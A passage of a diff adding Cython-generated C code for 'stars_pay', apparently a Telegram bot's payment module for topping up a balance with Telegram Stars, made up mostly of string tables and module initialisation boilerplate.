{&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_update_data, __pyx_k_update_data, sizeof(__pyx_k_update_data), 0, 0, 1, 1}, + {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1}, + {&__pyx_n_s_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 0, 1, 1}, + {&__pyx_kp_u_user_id_amount, __pyx_k_user_id_amount, sizeof(__pyx_k_user_id_amount), 0, 1, 0, 0}, + {&__pyx_n_s_waiting_for_payment_confirmation, __pyx_k_waiting_for_payment_confirmation, sizeof(__pyx_k_waiting_for_payment_confirmation), 0, 0, 1, 1}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 120, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/stars_pay.py":106 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_tuple__9 = PyTuple_Pack(2, __pyx_kp_u__8, __pyx_int_1); if (unlikely(!__pyx_tuple__9)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__9); + __Pyx_GIVEREF(__pyx_tuple__9); + + /* "handlers/payments/stars_pay.py":162 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_tuple__22 = PyTuple_Pack(1, __pyx_kp_u__21); if (unlikely(!__pyx_tuple__22)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__22); + __Pyx_GIVEREF(__pyx_tuple__22); + + /* "handlers/payments/stars_pay.py":32 + * + * + * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< + * async def process_callback_pay_stars( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __pyx_tuple__31 = PyTuple_Pack(10, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists, __pyx_n_s_e); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__31); + __Pyx_GIVEREF(__pyx_tuple__31); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 10, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__31, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_callback_pay_stars, 32, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 32, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":102 + * + * + * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__32 = PyTuple_Pack(1, __pyx_kp_u_stars_amount); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__32); + __Pyx_GIVEREF(__pyx_tuple__32); + __pyx_tuple__33 = PyTuple_Pack(7, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_e, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__33); + __Pyx_GIVEREF(__pyx_tuple__33); + __pyx_codeobj__7 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__33, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_amount_selection, 102, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__7)) __PYX_ERR(0, 102, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":155 + * + * + * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__34 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__34); + __Pyx_GIVEREF(__pyx_tuple__34); + __pyx_codeobj__19 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_enter_custom_amount, 155, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__19)) __PYX_ERR(0, 155, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":170 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __pyx_tuple__35 = PyTuple_Pack(5, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__35); + __Pyx_GIVEREF(__pyx_tuple__35); + __pyx_codeobj__23 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__35, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_custom_amount_input, 170, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__23)) __PYX_ERR(0, 170, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":208 + * + * + * @router.pre_checkout_query() # <<<<<<<<<<<<<< + * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): + * await pre_checkout_query.answer(ok=True) + */ + __pyx_tuple__36 = PyTuple_Pack(1, __pyx_n_s_pre_checkout_query); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__36); + __Pyx_GIVEREF(__pyx_tuple__36); + __pyx_codeobj__27 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 1, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__36, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_on_pre_checkout_query, 208, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__27)) __PYX_ERR(0, 208, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":213 + * + * + * @router.message(F.successful_payment) # <<<<<<<<<<<<<< + * async def on_successful_payment( + * message: types.Message, + */ + __pyx_tuple__37 = PyTuple_Pack(4, __pyx_n_s_message, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__37); + __Pyx_GIVEREF(__pyx_tuple__37); + __pyx_codeobj__28 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__37, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_on_successful_payment, 213, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__28)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_float_0_0 = PyFloat_FromDouble(0.0); if (unlikely(!__pyx_float_0_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars)) __PYX_ERR(0, 32, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars->tp_dictoffset && __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 102, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount)) __PYX_ERR(0, 155, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount->tp_dictoffset && __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input)) __PYX_ERR(0, 170, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query)) __PYX_ERR(0, 208, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query->tp_dictoffset && __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment)) __PYX_ERR(0, 213, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment_spec, __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment) < 0) __PYX_ERR(0, 213, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment) < 0) __PYX_ERR(0, 213, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment->tp_dictoffset && __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_stars_pay(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_stars_pay}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "stars_pay", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC initstars_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC initstars_pay(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_stars_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_stars_pay(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_stars_pay(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 